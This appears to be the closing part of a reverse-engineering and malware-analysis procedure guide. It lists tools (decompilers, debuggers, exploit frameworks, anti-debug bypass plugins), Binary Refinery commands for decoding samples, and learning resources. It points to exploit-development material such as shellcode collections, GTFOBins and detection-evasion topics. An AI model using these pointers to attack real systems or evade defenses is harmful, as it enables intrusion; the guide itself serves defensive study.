• pe-sieve / hollows_hunter: Scan running processes for injected code, hollowed sections, and unpacked payloads (github.com/hasherezade)

Linux:

• readelf: ELF header analysis
• objdump: Disassembler
• ltrace: Library call tracer
• strace: System call tracer
• ldd: List dynamic dependencies

.NET:

• dnSpyEx: Decompiler + debugger (active community fork — original dnSpy archived 2020-12-21)
• ILSpy: Decompiler (cross-platform GUI via Avalonia, plus ilspycmd)
• dotPeek: Decompiler (JetBrains)
• de4dot: Deobfuscator (legacy; some obfuscators not covered)

Android:

• JADX: DEX to Java decompiler
• Apktool: APK decoder/builder
• dex2jar: DEX to JAR converter
• JD-GUI: Java decompiler
• Frida: Dynamic instrumentation

Exploit Development

Tool	Purpose
pwntools	Python exploit framework
ROPgadget	ROP gadget finder
ropper	ROP gadget finder (more features)
msfvenom	Shellcode generator (Metasploit)
one_gadget	Find one-shot RCE gadgets in libc
pwndbg/GEF/PEDA	GDB enhancements for exploit dev

Utilities

Tool	Purpose
HxD	Hex editor (Windows)
010 Editor	Hex editor with templates
Detect It Easy (DiE)	Packer/compiler detection (300+ signatures, per-section entropy)
Entropy	Measure file entropy (detect packing)
UPX	Packer/unpacker
PEiD	Packer/compiler detection (legacy but useful for older signatures)
pe-sieve / hollows_hunter	Memory-scan unpacker — dump injected/hollowed/unpacked PE images from a live process
ScyllaHide	Plugin for x64dbg/OllyDbg/IDA — patches PEB, NtQueryInformationProcess, hardware-breakpoint, and timing checks transparently
TitanHide	Kernel driver counterpart to ScyllaHide — defeats malware that issues direct syscalls to bypass user-mode hooks
al-khaser	Open-source 170+ check matrix for VM/debugger/sandbox detection — validate your hardened analysis VM before detonating evasive samples
pafish	Lightweight VM/sandbox detection tester — fast pre-analysis sanity check (green = artifact hidden, red = artifact still leaks)
Binary Refinery	Python-based binary analysis toolkit with 100+ tools for data extraction, deobfuscation, and format parsing

Binary Refinery usage:

# Install Binary Refinery:
pip install binary-refinery
 
# Extract strings from binary:
emit malware.exe | carve string | peek
 
# Decode XOR-encoded data:
emit encoded.bin | xor key:0x42 | peek
 
# Extract embedded PE files:
emit packed.exe | carve pe | dump
 
# Chain multiple operations:
emit data.bin | xor key:0x13 | zl | carve url | peek

---

Learning Resources

Books

• Practical Reverse Engineering by Bruce Dang et al. (x86/x64/ARM reversing)
• The IDA Pro Book by Chris Eagle (IDA Pro deep dive)
• Reversing: Secrets of Reverse Engineering by Eldad Eilam (fundamentals)
• The Art of Software Security Assessment by Mark Dowd et al. (vulnerability research)
• Hacking: The Art of Exploitation by Jon Erickson (exploit development)

Practice Platforms

• Crackmes.one: https://crackmes.one/ (reversing challenges)
• ReverseEngineering.StackExchange: https://reverseengineering.stackexchange.com/
• CTFtime: https://ctftime.org/ (CTF competitions with RE challenges)
• PicoCTF: https://picoctf.org/ (beginner-friendly CTF)
• HackTheBox: https://www.hackthebox.eu/ (reversing & exploitation)
• Pwnable.kr / Pwnable.tw: (binary exploitation practice)

Online Courses

• Malware Analysis Bootcamp (SANS FOR610)
• Reverse Engineering Malware (SANS FOR610)
• Practical Malware Analysis & Triage (PMAT) by TCM Security
• LiveOverflow YouTube: https://www.youtube.com/c/LiveOverflow (binary exploitation)

---

Reference Resources

Comprehensive Knowledge Bases

• HackTricks - Binary Exploitation - book.hacktricks.xyz/binary-exploitation
  • Stack/heap overflows, ROP, format strings
  • Linux and Windows exploit techniques
• Nightmare (Binary Exploitation) - guyinatuxedo.github.io
  • Comprehensive CTF binary exploitation course
  • Covers stack overflows, ROP, heap exploitation, kernel exploitation
• Reverse Engineering for Beginners - beginners.re
  • Free book by Dennis Yurichev
  • Covers x86/ARM assembly, disassembly, patterns
• Malware Unicorn’s Reverse Engineering 101 - malwareunicorn.org/workshops/re101.html
  • Beginner-friendly RE workshop materials
  • x86 assembly, IDA Pro, malware analysis

Assembly & Architecture Resources

• x86 Assembly Guide (UVA) - cs.virginia.edu/~evans/cs216/guides/x86.html
  • x86 assembly reference and calling conventions
• Intel Software Developer Manuals - intel.com/sdm
  • Official x86/x64 instruction set reference
• ARM Architecture Reference Manual - developer.arm.com
  • Official ARM instruction set documentation
• Agner Fog’s Optimization Manuals - agner.org/optimize
  • x86 assembly optimization and microarchitecture guides

Tool Documentation

• Ghidra Documentation - ghidra-sre.org
  • Official Ghidra user guide and scripting reference
  • P-Code (Ghidra’s intermediate language) documentation
• IDA Pro Documentation - hex-rays.com/documentation
  • IDA Pro and Hex-Rays decompiler manuals
  • IDAPython API reference
• Binary Ninja Documentation - docs.binary.ninja
  • Binary Ninja Python API and BNIL documentation
• Radare2 Book - book.rada.re
  • Comprehensive radare2 guide
• x64dbg Documentation - help.x64dbg.com
  • x64dbg debugger reference

Binary Formats

• Portable Executable (PE) Format - docs.microsoft.com/en-us/windows/win32/debug/pe-format
  • Official Microsoft PE format specification
• ELF Format Specification - refspecs.linuxbase.org/elf/elf.pdf
  • Official ELF (Linux/Unix) format specification
• Mach-O Format (macOS) - github.com/aidansteele/osx-abi-macho-file-format-reference
  • Apple Mach-O executable format reference

Exploit Development Resources

• Exploit Education - exploit.education
  • Phoenix, Nebula, Fusion VM challenges
  • Hands-on binary exploitation practice
• ROP Emporium - ropemporium.com
  • ROP (Return-Oriented Programming) challenges
  • Progressively difficult exploit development exercises
• pwn.college - pwn.college
  • Arizona State University’s binary exploitation course
  • Covers assembly, shellcode, ROP, heap exploitation
• how2heap - github.com/shellphish/how2heap
  • Heap exploitation techniques and examples
• Shellcode Database - shell-storm.org/shellcode
  • Collection of shellcode for various architectures

Cheat Sheets & Quick References

• x86/x64 Opcode Reference - ref.x86asm.net
  • Quick x86 instruction reference
• Syscall Tables - syscalls.w3challs.com
  • Linux/Windows syscall numbers and arguments
• GTFOBins - gtfobins.github.io
  • Unix binary exploitation techniques (sudo, SUID, capabilities)
• LOLBAS Project - lolbas-project.github.io
  • Living Off the Land Binaries (Windows exploitation)
• Calling Conventions Cheat Sheet - agner.org/optimize/calling_conventions.pdf
  • x86/x64 calling convention reference

Disassembly Patterns & Idioms

• Hex-Rays Microcode Documentation - hex-rays.com/products/ida/support/idapython_docs/
  • Understanding Hex-Rays decompiler internals
• Binary Ninja IL Reference - docs.binary.ninja/dev/bnil-overview.html
  • Understanding Binary Ninja’s intermediate languages
• Compiler Explorer (Godbolt) - godbolt.org
  • See how C/C++ compiles to assembly for various compilers
  • Understand compiler optimizations and patterns

Anti-Reversing & Obfuscation

• Awesome Reverse Engineering - Anti-Debugging - github.com/wtsxDev/reverse-engineering
  • Collection of anti-debugging techniques
• The Ultimate Anti-Reversing Reference - anti-reversing.com
  • Comprehensive anti-RE techniques catalog
• Unprotect Project - unprotect.it
  • Malware evasion techniques database

Practice Platforms

• Crackmes.one - crackmes.one
  • Community crackme challenges (all difficulty levels)
• Reverse Engineering StackExchange - reverseengineering.stackexchange.com
  • Q&A forum for reverse engineering
• PicoCTF - picoctf.org
  • Beginner-friendly CTF with RE challenges
• Pwnable.kr - pwnable.kr
  • Korean wargame with binary exploitation challenges
• Pwnable.tw - pwnable.tw
  • Taiwan wargame with advanced exploitation challenges
• HackTheBox - hackthebox.com
  • Reversing and binary exploitation boxes

CTF Write-ups & Solutions

• CTFtime Write-ups - ctftime.org/writeups
  • CTF solutions database (search for RE challenges)
• Google CTF Write-ups - github.com/google/google-ctf
  • Official Google CTF challenge write-ups
• LiveOverflow YouTube - youtube.com/c/LiveOverflow
  • Binary exploitation and RE video tutorials

Blogs & Research

• Trail of Bits Blog - blog.trailofbits.com
  • Security research and reverse engineering articles
• RET2 Systems Blog - blog.ret2.io
  • Vulnerability research and exploit development
• Windows Internals Blog - windows-internals.com/blog
  • Windows kernel and internals research
• Phrack Magazine - phrack.org
  • Classic hacking/exploitation zine (historical techniques)

Debugging & Dynamic Analysis

• Frida Documentation - frida.re/docs
  • Official Frida dynamic instrumentation guide
• Pin Documentation - intel.com/content/www/us/en/developer/articles/tool/pin-a-dynamic-binary-instrumentation-tool.html
  • Intel Pin instrumentation framework
• GDB Cheat Sheet - darkdust.net/files/GDB%20Cheat%20Sheet.pdf
  • Quick GDB command reference
• pwndbg Documentation - github.com/pwndbg/pwndbg
  • GDB enhancement for exploit development
• GEF Documentation - hugsy.github.io/gef
  • GDB Enhanced Features guide

Binary Analysis Tools

• Binary Refinery - github.com/binref/refinery
  • Python-based binary analysis toolkit with 100+ tools
  • Data extraction, deobfuscation, format parsing
• angr Documentation - docs.angr.io
  • Binary analysis framework (symbolic execution, CFG recovery)
• Triton - triton.quarkslab.com
  • Dynamic symbolic execution framework
• Unicorn Engine - unicorn-engine.org
  • Lightweight CPU emulator for RE

Platform-Specific Resources

Windows:

• Windows Internals (Book Series) by Mark Russinovich
• Undocumented Windows Functions - undocumented.ntinternals.net
• WinAPI Index - docs.microsoft.com/en-us/windows/win32/api

Linux:

• Linux Syscall Reference - man7.org/linux/man-pages/man2/syscalls.2.html
• Linux Kernel Documentation - kernel.org/doc

.NET:

• dnSpyEx - github.com/dnSpyEx/dnSpy (active community fork; legacy dnSpy/dnSpy archived 2020-12-21)
• ILSpy - github.com/icsharpcode/ILSpy
• .NET Deobfuscation Guide - github.com/NotPrab/.NET-Obfuscator

Android:

• JADX - github.com/skylot/jadx
• Frida for Android - frida.re/docs/android

Pwntools & Automation

• pwntools Documentation - docs.pwntools.com
  • Python exploit development framework
• ROPgadget - github.com/JonathanSalwan/ROPgadget
  • ROP gadget finder
• ropper - github.com/sashs/Ropper
  • Advanced ROP gadget finder with semantic search
• one_gadget - github.com/david942j/one_gadget
  • Find one-shot RCE gadgets in libc

Books & Courses

• Practical Reverse Engineering by Bruce Dang et al.
• The IDA Pro Book by Chris Eagle
• Reversing: Secrets of Reverse Engineering by Eldad Eilam
• The Art of Software Security Assessment by Mark Dowd et al.
• Hacking: The Art of Exploitation by Jon Erickson
• SANS FOR610: Reverse-Engineering Malware
• SANS FOR710: Reverse Engineering Malware Advanced
• RPISEC Modern Binary Exploitation (MBE) - github.com/RPISEC/MBE

Community & Forums

• Reddit r/ReverseEngineering - reddit.com/r/ReverseEngineering
• OpenRCE - openrce.org
  • Reverse engineering community (historical, less active now)
• Tuts4You - tuts4you.com
  • Cracking/reversing tutorials and forums
• OSDev Wiki - osdev.org
  • OS development and low-level programming

---

Related SOPs:

Analysis:

• Malware Analysis - Comprehensive malware reverse engineering and behavioral analysis
• Cryptography Analysis - Analyzing encryption and cryptographic implementations
• Hash Generation Methods - File integrity and hash analysis techniques

Pentesting & Security:

• Linux Pentesting - Linux exploitation and privilege escalation
• Active Directory Pentesting - Windows AD security assessment
• Web Application Security - Web app vulnerability assessment
• Mobile Security - Android/iOS security testing
• Firmware Reverse Engineering - IoT and embedded device analysis
• Vulnerability Research - Finding and analyzing security flaws
• Bug Bounty Hunting - Responsible vulnerability disclosure
• Detection Evasion Testing - Bypassing security controls
• Forensics Investigation - Digital forensics and incident response